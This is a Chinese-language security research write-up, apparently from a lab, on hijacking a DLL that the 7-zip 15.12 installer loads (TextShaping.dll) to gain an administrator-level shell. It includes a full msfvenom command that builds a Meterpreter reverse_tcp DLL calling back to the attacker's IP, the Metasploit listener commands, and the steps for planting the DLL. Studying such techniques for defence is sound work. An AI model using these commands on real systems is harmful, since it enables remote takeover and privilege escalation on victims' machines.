返回首页
EN
H7 / SECURITY RESEARCH NOTES

通过劫持7-zip安装程序使用的二进制文件获取高权限shell

环境说明

IPHOSTNAMENOTE
172.16.106.67kali_dqy攻击者主机
10.10.10.88win10_dqy受害者主机

原理

  • 攻击者可以通过劫持安装程序使用的二进制文件来执行自己的恶意Payload,这些二进制文件如DLL、EXE或其他Payload;并且在Windows中,在执行安装程序时,会进行UAC提示,只有Administrator权限及以上的用户才能执行安装程序,因此被执行成功的恶意Payload是以Administrator及以上的权限来执行的。

攻击过程

检查7-zip安装程序使用的二进制文件

  • 我们通过7-zip官方提供的下载地址下载15.12版本的7-zip,链接如下:
https://sourceforge.net/projects/sevenzip/files/7-Zip/15.12/

  • 接下来我们启动7z1512.exe安装程序,由于我们是Administrator权限,所以可以进行安装。

  • 接下来我们通过Process Monitor来监控进程启动的相关信息

  • 我们在E:\7-zip目录下启动7z1512.exe,发现其会在当前目录搜索名称为TextShaping的DLL文件,那么我们可以通过创建恶意的DLL放在其目录下,然后让安装程序以Administrator权限加载执行它。

通过MSF生成恶意Payload

  • 通过msfvenom命令生成DLL形式的Payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.106.67 LPORT=2335 -f dll > dll_for_7zip.dll

  • MSF设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 2335
set lhost 172.16.106.67
exploit

受害者主机执行Payload

  • 我们将MSF生成的DLL形式的Payload重命名为TextShaping.dll,即7-zip安装程序需要从当前目录加载的DLL的名称,然后将其和7-zip安装程序放在同一个目录。

  • 接下来我们启动7-zip安装程序,可以从下图发现,受害者主机上线

  • 但是我们发现7-zip安装程序并没有正常启动,这是因为我们的恶意DLL和7-zip所需的正常的TextShaping.dll并不一样,这时候我们是可以通过DLL函数转发相关的技术来实现7-zip安装程序的正常启动的。